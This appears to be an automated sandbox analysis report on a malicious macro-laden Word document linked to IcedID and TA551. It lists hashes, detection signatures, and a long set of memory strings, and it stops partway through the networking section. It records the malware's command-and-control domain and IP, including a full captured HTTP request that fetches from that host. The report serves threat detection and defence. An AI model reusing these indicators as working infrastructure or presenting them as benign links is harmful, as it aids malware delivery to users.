Windows Analysis Report charge_12.01.2021.doc

Overview

General Information

Sample Name: charge_12.01.2021.doc
Analysis ID: 532355
MD5: 18499830201cddade8183b8e24fdf30a
SHA1: 55c498cf7273cab567f49a00c15ca3316c001215
SHA256: 0a42f6762ae4f3b1d95aae0f8977cde6361f1d59b5ccc400c41772db0205f7c5
Tags: BokbotdocIcedIDmacrosShathakTA551Word
Infos:

Most interesting Screenshot:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: Register DLL with spoofed extension
Multi AV Scanner detection for submitted file
Sigma detected: Office product drops script at suspicious location
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document contains an embedded VBA macro which may execute processes
Sigma detected: Suspicious MSHTA Process Patterns
Sigma detected: Regsvr32 Anomaly
Machine Learning detection for sample
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Regsvr32 Command Line Without DLL
Document exploit detected (process start blacklist hit)
Sigma detected: Suspicious Regsvr32 Execution With Image Extension
Queries the volume information (name, serial number etc) of a device
Document has an unknown application name
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Potential document exploit detected (performs DNS queries)
Searches for user specific document files
Document misses a certain OLE stream usually present in this Microsoft Office document type
Document contains no OLE stream with summary information
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Document contains embedded VBA macros
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Document contains an embedded VBA macro which reads document properties (may be used for disguise)
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: charge_12.01.2021.doc ReversingLabs: Detection: 29%
Machine Learning detection for sample
Source: charge_12.01.2021.doc Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\explorer.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: winrentals2017b.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.3:49745 -> 194.62.42.207:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.3:49745 -> 194.62.42.207:80

Networking:

barindex
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBaQuem65smQXYvyd/64063/g6fJYLGHRVWp7s1tvHnZdv/XcjcYCjBX8tPaALshiDAx85PEq/cab3?ref=0t&WzOZ=9xyAidN&z3d9Ob0=EwAUkUUNyHsk&user=4Zky89n&cid=bE5YBOFyZvWHbGv9wPr7QVm&q=lYkgZNGYoZpu9 HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: winrentals2017b.comConnection: Keep-Alive
Source: WINWORD.EXE, 00000001.00000002.569409734.000000000D050000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: WINWORD.EXE, 00000001.00000002.568255480.000000000B290000.00000004.00000001.sdmp String found in binary or memory: http://purl.oclc.org/ooxml/drawingml/diagram
Source: WINWORD.EXE, 00000001.00000002.568255480.000000000B290000.00000004.00000001.sdmp String found in binary or memory: http://purl.oclc.org/ooxml/drawingml/table-
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp String found in binary or memory: http://schemas.microsoft.c
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: mshta.exe, 00000007.00000002.312828178.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.310080125.0000000009EDF000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309434578.0000000009EDF000.00000004.00000001.sdmp String found in binary or memory: http://winrentals2017b.com/
Source: mshta.exe, 00000007.00000003.310025721.00000000090E3000.00000004.00000040.sdmp, mshta.exe, 00000007.00000003.310184034.0000000005AD2000.00000004.00000001.sdmp, mshta.exe, 00000007.00000003.309172914.0000000009EB1000.00000004.00000001.sdmp, mshta.exe, 00000007.00000002.312682586.0000000005AD2000.00000004.00000001.sdmp String found in binary or memory: http://winrentals2017b.com/tegz/Q277aG7FkN9pAcaWDfFlGNBeuaqGed8i/baWexTQoGyAAzLR/AU1XErrU1FitjjV8BBa
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionloggingI
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalledA?V
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: WINWORD.EXE, 00000001.00000003.291974045.0000000010ADE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292057510.0000000010AE3000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/commerce/queryDeepLinkingServicehttps://api.addins.store.of
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/entitlement/queryy
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove5
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/queryA?V
Source: WINWORD.EXE, 00000001.00000003.291974045.0000000010ADE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292057510.0000000010AE3000.00000004.00000001.sdmp String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/queryBearer
Source: WINWORD.EXE, 00000001.00000003.291974045.0000000010ADE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571659895.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://analysis.windows.net/powerbi/apiNIi
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://analysis.windows.net/powerbi/apidI
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech(
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.aadrm.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.aadrm.com/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.aadrm.com/x%
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.omex.office.net/appstate/queryr
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: WINWORD.EXE, 00000001.00000003.291974045.0000000010ADE000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292057510.0000000010AE3000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.store.office.com/app/queryAppStateQuery15https://api.addins.omex.office.net/appst
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.store.office.com/app/queryl
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplateb
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.cortana.ai
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.cortana.aiD#
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.diagnosticssdf.office.como5
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.microsoftstream.com/api/nth9
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.office.net
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.office.net8
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.office.netN
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.office.neta
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.office.netk
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.office.nets?
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.onedrive.com
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://api.onedrive.comcent
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.powerbi.com/beta/myorg/importsJ
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets:IU
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups0/mac3J
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://apis.live.net/v5.0/ne
